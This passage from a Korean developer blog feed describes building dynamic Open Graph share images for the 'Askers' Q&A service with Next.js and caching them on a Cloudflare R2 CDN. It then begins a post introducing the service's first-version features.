&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;서비스 메인 링크를 공유하면 `og-dark.png`, 답변 상세 페이지 링크를 공유하면 `og-default.png` 파일이 이미지로 노출된다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SvpJV/btsIfyz12W1/3jGUpgNCo4K8HFzkPkoqkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SvpJV/btsIfyz12W1/3jGUpgNCo4K8HFzkPkoqkK/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;1332&quot; data-origin-height=&quot;452&quot; data-filename=&quot;스크린샷 2024-06-28 오전 10.06.09.png&quot; data-widthpercent=&quot;66.53&quot; style=&quot;width: 65.7595%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SvpJV/btsIfyz12W1/3jGUpgNCo4K8HFzkPkoqkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSvpJV%2FbtsIfyz12W1%2F3jGUpgNCo4K8HFzkPkoqkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1332&quot; height=&quot;452&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJRTDg/btsIf1BJrCu/EGJYwykylKbY4kzRbw3zl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJRTDg/btsIf1BJrCu/EGJYwykylKbY4kzRbw3zl1/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;1174&quot; data-origin-height=&quot;792&quot; data-filename=&quot;스크린샷 2024-06-28 오전 10.37.00.png&quot; style=&quot;width: 33.0777%;&quot; data-widthpercent=&quot;33.47&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJRTDg/btsIf1BJrCu/EGJYwykylKbY4kzRbw3zl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJRTDg%2FbtsIf1BJrCu%2FEGJYwykylKbY4kzRbw3zl1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1174&quot; height=&quot;792&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;Twitter Open Graph가 적용된 후 게시한 트윗 이미지&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;질문 이미지 생성&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;답변 상세 페이지 공유 시 `og-default.png` 파일이 노출되는 대신, 각 페이지의 정보(질문 텍스트)가 포함된 이미지를 동적으로 생성하도록 했다. 작업 완료 시 기댓값은 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;동적으로 생성된 이미지가 없는 경우 기본값인 `og-default.png` 파일이 Open Graph 이미지로 지정된다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;답변 공유 시 노출되는 이미지가 페이지마다 다르다(질문 내용이 이미지에 포함되어야 함).&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;우선 이미지를 동적으로 생성하는 방식은 Vecel의 라이브러리를 사용하기로 했다. Askers는 Next.js 14 버전으로 개발했다. 버전 14에서는 이미 해당 라이브러리가 내장되어 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;&lt;a title=&quot;@vecel/og document&quot; href=&quot;https://vercel.com/docs/functions/og-image-generation/og-image-api&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@vecel/og Document&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;&lt;a title=&quot;Vecel satori Github Repository Link&quot; href=&quot;https://github.com/vercel/satori&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@vecel/satori Github Repository&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;동적 이미지 생성&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;`ImageResponse`를 반환하는 함수를 작성했다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1719567439428&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;export async function GET(req: NextRequest) {
  const { searchParams } = req.nextUrl;
  const text = searchParams.get(&quot;text&quot;);

  return new ImageResponse(
    (
      &amp;lt;div
        style={{
          width: &quot;100%&quot;,
          height: &quot;100%&quot;,
          display: &quot;flex&quot;,
          flexDirection: &quot;column&quot;,
          alignItems: &quot;center&quot;,
          justifyContent: &quot;center&quot;,
          padding: &quot;6rem 3rem&quot;,
          backgroundImage: &quot;url(https://as-kers.com/og-answer.png)&quot;,
        }}
      &amp;gt;
        &amp;lt;div tw=&quot;flex justify-center items-start overflow-hidden text-4xl tracking-tight text-neutral-50 leading-[3.2rem]&quot;&amp;gt;
          {text}
        &amp;lt;/div&amp;gt;
      &amp;lt;/div&amp;gt;
    ),
    {
      width: 1200,
      height: 630,
    },
  );&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;데이터 호출 부분 쿼리 새로 만들어서 다시 해보기!!!&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;동적 이미지가 필요한 웹 페이지에서 `GET /api/og` 엔드포인트를 호출하면 Search Parameter로 넘긴 `text` 데이터를 기반으로 이미지를 생성한다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1719568930531&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;export const generateMetadata = async ({ params }: Props) =&amp;gt; {
  const dispatch = await getAnswer(params.id);
  if (!dispatch) return;

  return getMetadata({
    title: dispatch.targetUser.nickname,
    asPath: `/answers/${params.id}`,
    description: dispatch.ask.content,
    ogImage: `/api/og?text=${dispatch.ask.content}`,
  });
};

export default async function Page({ params }: Props) {}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cxbNcA/btsIfXUQBox/l4kbqa2CnOsnNCvqm0Tzik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cxbNcA/btsIfXUQBox/l4kbqa2CnOsnNCvqm0Tzik/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;1368&quot; data-origin-height=&quot;432&quot; data-filename=&quot;스크린샷 2024-06-28 오후 5.04.57.png&quot; style=&quot;width: 54.1717%; margin-right: 10px;&quot; data-widthpercent=&quot;55.46&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cxbNcA/btsIfXUQBox/l4kbqa2CnOsnNCvqm0Tzik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcxbNcA%2FbtsIfXUQBox%2Fl4kbqa2CnOsnNCvqm0Tzik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1368&quot; height=&quot;432&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Q2cKW/btsIhcwKNzQ/WWb99xrhpPIkRNajjvlSY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Q2cKW/btsIhcwKNzQ/WWb99xrhpPIkRNajjvlSY1/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;1166&quot; data-origin-height=&quot;1102&quot; data-filename=&quot;스크린샷 2024-06-28 오후 5.04.15.png&quot; style=&quot;width: 18.1003%; margin-right: 10px;&quot; data-widthpercent=&quot;18.53&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Q2cKW/btsIhcwKNzQ/WWb99xrhpPIkRNajjvlSY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQ2cKW%2FbtsIhcwKNzQ%2FWWb99xrhpPIkRNajjvlSY1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1166&quot; height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjxF2P/btsIg3mm5DJ/bC84gU5uawEMac5g6Uwnm0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjxF2P/btsIg3mm5DJ/bC84gU5uawEMac5g6Uwnm0/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;1182&quot; data-origin-height=&quot;796&quot; data-filename=&quot;스크린샷 2024-06-28 오후 5.03.36.png&quot; style=&quot;width: 25.4024%;&quot; data-widthpercent=&quot;26.01&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjxF2P/btsIg3mm5DJ/bC84gU5uawEMac5g6Uwnm0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcjxF2P%2FbtsIg3mm5DJ%2FbC84gU5uawEMac5g6Uwnm0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1182&quot; height=&quot;796&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;답변 상세 페이지에 Twitter Open Graph를 적용한 모습&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;이미지를 CDN에 저장&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;이미지 캐싱 처리 작업을 해야 하는 이유는 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;HTML `&amp;lt;meta name=og:image&amp;gt;`에 설정된 `content`는 해당 메타 태그가 위치한 웹 페이지가 공유되거나 크롤러가 페이지를 스캔할 때 호출된다. 따라서 `content`에 이미지를 생성하는 API 엔드포인트를 지정하면 공유 및 스캔 시 해당 엔드포인트가 호출되고 서버에서는 이미지를 생성하는 작업을 수행하게 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;Askers 서비스 특성상 답변 상세 페이지의 Open Graph 이미지는 유저가 해당 답변을 삭제하기 전까지 유효하며, 중간에 이미지가 업데이트되어야 하는 경우는 없다.&amp;nbsp;그렇다면 공유 시마다 이미지 생성 작업을 하는 것은 리소스 낭비다. 이 작업을 최대한 줄이기 위해 최초 생성한 이미지를 서버 측에서 캐시 하는 작업이 필요하다고 판단했다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;동적으로 생성된 이미지는 서버의 파일 시스템이 아닌 in-memory로 저장된다. 따라서 서버 측에서 이를 캐시하더라도 서버의 메모리가 휘발되면 이미지를 다시 생성해야 한다. 만약 생성한 이미지를 서버의 파일 시스템에 저장한다면, 공유되는 답변의 수가 증가함에 따라 서버의 파일 시스템 공간을 차지하게 된다. 만약 오토스케일링 등을 이용해 여러 대의 서버를 유동적으로 사용한다면 생성된 이미지를 모두 복사해 새로운 서버를 생성하거나, 모든 서버에서 동일한 이미지를 가지고 있어야 한다는 문제가 따라온다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;따라서 이미지를 CDN에 저장하는 방식을 택했다. 최초 생성된 이미지를 CDN에 저장하고, CDN에 이미지가 있다면 이미 생성한 이미지를 가져오도록 한다. 없다면 그때 이미지를 만들어 CDN에 저장한다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;유저가 질문에 답하는 시점에 Open Graph 이미지를 만들지 않는 이유는 웹 페이지가 외부에 공유될 때만 이미지가 필요하기 때문이다. 따라서 공유되지 않는 질문과 답변에 대한 Open Graph 이미지를 생성할 필요는 없다고 생각했다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;답변 상세 페이지에서 `generateMetadata()` 함수로 Metadata를 생성할 때 다음과 같이 R2에 해당 키로 이미지가 확인하는지 체크한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1719806596954&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// Check image exists on Cloudflare R2.
// If image absent, generate it.
const imageExist = await getImageExist(imageCacheKey);

return getMetadata({
  title: dispatch.targetUser.nickname,
  asPath: `/answers/${dispatchId}`,
  description: dispatch.ask.content,
  ogImage: imageExist
    ? `https://cdn.askers.org/${imageCacheKey}`
    : `/api/og?text=${dispatch.ask.content}&amp;amp;key=${imageCacheKey}`,
});&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;이미지가 있는 경우 설정한 CDN 링크를, 이미지가 없는 경우 호출해 이미지를 생성한 뒤 해당 이미지를 반환하는 API 엔드포인트가 `&amp;lt;meta url&amp;gt;`에 삽입되도록 처리했다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;&lt;b&gt;개선하고 싶은 부분&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;포스트에 기록한 Open Graph 설정 작업에서 사용한 이미지는 답변 상세 페이지의 특성상 한 번 생성되면 유저가 질문을 삭제하기 전까지 변경되거나 삭제되지 않는다. 따라서 서버에서 페이지를 렌더링 할 때마다 R2에 이미지가 있는지 여부를 확인하는 요청도 가능하면 줄이고 싶다. 하지만 이 부분은 실제로 이미지 여부를 확인하는 로직이 불필요하게 많은 부하를 주거나 문제를 일으키는 경우에 개선해보고 싶다.&lt;/span&gt;&lt;/p&gt;</description>
      <category>Projects/Askers</category>
      <category>askers</category>
      <category>opengraph</category>
      <category>SEO</category>
      <author>장일영</author>
      <guid isPermaLink="true">https://oxahex.tistory.com/61</guid>
      <comments>https://oxahex.tistory.com/61#entry61comment</comments>
      <pubDate>Sun, 11 Aug 2024 15:39:59 +0900</pubDate>
    </item>
    <item>
      <title>[Askers] 기능 소개(v1) 및 DB</title>
      <link>https://oxahex.tistory.com/62</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;기능 소개(v1)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;Askers는 질문 기반 서비스다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;Askers v1에서는 가장 기초적이지만 서비스의 핵심이 되는 기능을 우선적으로 개발했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;익명으로 질문을 보내고, 선택적으로 답변하고, 이를 SNS(Twitter)에 공유할 수 있다.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-08-10 오후 4.13.42.png&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;770&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d2MXGh/btsI04Llgt5/vjiTSZ1EaViWEbGsH13pX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d2MXGh/btsI04Llgt5/vjiTSZ1EaViWEbGsH13pX1/img.png&quot; data-alt=&quot;Askers&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d2MXGh/btsI04Llgt5/vjiTSZ1EaViWEbGsH13pX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd2MXGh%2FbtsI04Llgt5%2FvjiTSZ1EaViWEbGsH13pX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1534&quot; height=&quot;770&quot; data-filename=&quot;스크린샷 2024-08-10 오후 4.13.42.png&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;770&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Askers&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;회원가입 및 로그인 기능&lt;/h3&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;질문은 서비스에 가입하지 않아도 보낼 수 있지만 답변은 Askers 가입 유저만 할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKhG34/btsI0DOhkYj/Zjt2Kch7CSGvw2saD2m3J0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKhG34/btsI0DOhkYj/Zjt2Kch7CSGvw2saD2m3J0/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;1740&quot; data-origin-height=&quot;1000&quot; data-filename=&quot;스크린샷 2024-08-10 오후 4.54.24.png&quot; style=&quot;width: 47.6447%; margin-right: 10px;&quot; data-widthpercent=&quot;48.21&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKhG34/btsI0DOhkYj/Zjt2Kch7CSGvw2saD2m3J0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKhG34%2FbtsI0DOhkYj%2FZjt2Kch7CSGvw2saD2m3J0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1740&quot; height=&quot;1000&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dlepvF/btsIZ8nFwMs/HzjTVk9CyGcBkkGIymCw0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dlepvF/btsIZ8nFwMs/HzjTVk9CyGcBkkGIymCw0K/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;1548&quot; data-origin-height=&quot;828&quot; data-filename=&quot;edited_스크린샷 2024-08-10 오후 4.54.06.png&quot; data-widthpercent=&quot;51.79&quot; style=&quot;width: 51.1925%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dlepvF/btsIZ8nFwMs/HzjTVk9CyGcBkkGIymCw0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdlepvF%2FbtsIZ8nFwMs%2FHzjTVk9CyGcBkkGIymCw0K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1548&quot; height=&quot;828&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;Askers 회원가입, 로그인 페이지&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Email 회원 가입&lt;/li&gt;
&lt;li&gt;OAuth2(Google) 회원 가입&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;Email 회원 가입의 경우, 허수 가입자를 배제하기 위해 Email 인증 절차를 구현했다. 입력한 Email로 6자리 코드를 전송하고, 이를 올바르게 입력해야 가입이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;질문 전송 및 답변 관련 기능&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tjSDo/btsIZ5YPhu4/ACYatEQSLarh9AlPJl0NJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tjSDo/btsIZ5YPhu4/ACYatEQSLarh9AlPJl0NJK/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;1904&quot; data-origin-height=&quot;932&quot; data-filename=&quot;edited_스크린샷 2024-08-10 오후 4.34.01.png&quot; style=&quot;width: 55.8869%; margin-right: 10px;&quot; data-widthpercent=&quot;56.54&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tjSDo/btsIZ5YPhu4/ACYatEQSLarh9AlPJl0NJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtjSDo%2FbtsIZ5YPhu4%2FACYatEQSLarh9AlPJl0NJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1904&quot; height=&quot;932&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OBasG/btsIZWufcvC/Hz0IpAdf3aKPTnwNZKmq31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OBasG/btsIZWufcvC/Hz0IpAdf3aKPTnwNZKmq31/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;2556&quot; data-origin-height=&quot;1628&quot; data-filename=&quot;edited_스크린샷 2024-08-10 오후 4.38.57.png&quot; style=&quot;width: 42.9503%;&quot; data-widthpercent=&quot;43.46&quot;&gt;&lt;img 